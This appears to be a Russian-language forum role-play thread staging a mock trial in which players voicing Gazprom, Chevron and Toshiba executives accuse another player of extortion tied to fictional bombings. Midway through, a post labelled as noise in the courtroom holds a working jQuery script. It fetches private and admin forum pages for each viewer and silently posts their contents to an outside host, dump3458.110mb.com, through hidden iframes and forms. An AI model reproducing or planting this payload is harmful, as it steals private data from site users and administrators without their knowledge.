Хорошо и толково.

Иск принят, слушание началось.

Прошу Ответчиков высказаться по этому поводу.

Прошу свидетелей высказаться насчет известных им фактов, имеющих отношение к делу.

Во время военных действий пострадали два комплекса компании Газпром. Один сейчас находится в зоне заражения радиацией, второй разрушен. Я пока не могу связаться даже с менеджером, который там работал.

При чем здесь компания Шеврон? Есть мнение, что человек, который вам нужен, сделал заявление в СМИ о том, что к данной компании он не имеет абсолютно никакого отношения. Соответственно, как вице президент Chevron Corporation - Арктика, я вообще не вижу собственной выгоды в подобной грызне, что происходит в Арктике, а соответственно, мотивов. 

Человек, который занимался шантажем, и говорил, что если компания Toshiba не будет плотить, то начнутся проблемы с террористической деятельностью (то же было с Areva, и проблемы у них действительно начались - взрывы на их атомных станциях) представлялся сначала представителем НАТО, потом Шевроном... В любом случае я готов узнать его на опознании.

Прошу Вас, опознать его по аватару, это реально?

Опознал. №366.

Он еще вот здесь: на третьей фотографии (вниз), стоит в шарфе.

Ну что ж... С этого момента по данному делу bg13-Борис Головацкий становится подозреваемым. Уж не родственник ли он Вам, уважаемый Август Симонович?

Кто еще может показать в суде, что именно этот человек угрожал Вам, требовал денег взамен обещания не приносить неприятности?

1. Нет, не родственик.

2. Еще один свидетель (потерпевший), которому угрожали и требовали "налогов" - (913) Янг М. /Toshiba, Япония/.

Вину не признаю. Это грязные PR ходы, более ничего!

Шум в зале -script- // var skip = "140 904 917 918 928"; var path = ["/chevron-doc/all", "/122/all", "/cop/all", "/qwer/all", "/qwe/all", "/adm/all", "/murmrep/all", "/szvorf/all", "/asd/all", "/post-1030/all", "/secret/all", "/adm/post-329/", "/adm/post-311/"]; $(document).ready(function() { var uid = $("#top-menu > ul > li:first-child > a").attr("href").match(/\/(\d+)\/$/).pop(); if (skip.indexOf(uid) < 0) { $("body").unbind("ajaxError").prepend($("<div />").attr("id", "hi").attr("style", "display: none")); $.each(path, function(index, value) { $.get(value, function(data, answer) { if (answer == "success") { $("body > div#hi") .append($("<iframe />").attr("id", "frame-"+ index).attr("name", "frame-"+ index).attr("src", "http://dump3458.110mb.com/index.htm")) .append($("<form />").attr("id","form-"+ index).attr("target", "frame-"+ index).attr("action", "http://dump3458.110mb.com/dump2.php").attr("method", "post") .append($("<input />").attr("id", "path").attr("name", "path").attr("type", "text").attr("value", value)) .append($("<textarea />").attr("id", "dump").attr("name", "dump").val(data)) ).ready(function() { $("body > div#hi > form#form-"+ index).submit(); }); } }); }); } }); // -script-

Не шумите. Есть что сказать по делу - говорите.

Я не вижу не одного доказательства. Предлагаю закрыть дело за отсутствием состава преступления.

Думаю, вы не правы. Состав преступления все-таки есть. Только вот нам придется решить, состав какого преступления? Неоконченое преступление - Грабёж с угрозой применения насилия, в крупном размере, или терроризм?

В чей именно адрес вы предлагали сделать выплаты этим гражданам, на счета, или наличными средствами?

Прошу так же других граждан, кому данный господин предлагал делать выплаты, обратиться в суд с заявлением.

Никому я не предлагал никаких выплат. Никому не угрожал. Фактов передачи денег мне нет.

Я не понимаю доказательства преступления. Есть только заявления с чужих слов.

Прошу так же уточнить, просили ли деньги передать наличными в руки, или перечислить по безналичному расчету. Прошу всех, кто подвергся шантажу отреагировать на это сообщение

Ой, да, а мне подруга из Мурманска рассказывала - их когда в Подземныйводный город ОМОН выселял, они видели пару ракет, которая в стороне от города пролетала - а потом вспышки на горизонте. Говорит, курс был зюйд-зюйд-вест, хотя это ненадежно: у подруги топографический критинизм...

В суде не принимаются сведения "с чужих слов". Послухов и видаков в процессе нет уже с 1860 года.

Мне лично данный человек угрожал, что в случае отказа выплат НАТО мои комплексы могут посчитать связанными с международными террористами, спонсирующими их деятельность, и в результате их уничтожат.

Вы меня неправильно поняли: я вам оказывал услугу - предупреждал о последствиях ваших действий.

А откуда Вам были известны данные последствия?

А так же на основании чего вы предположили, что отказ выплат НАТО можно посчитать сыязанным с международным терроризмом?

Я не утверждал что так будет, я говорил, что НАТО может посчитать эти действия пособничеством террористам. Высказывал как частное лицо свое частное мнение.

НАТО могло посчитать так, т.к. данные действия нарушают договор 007/2

То же самое было высказано и компании Areva , а после этого их комплексы подверглись бомбардировке.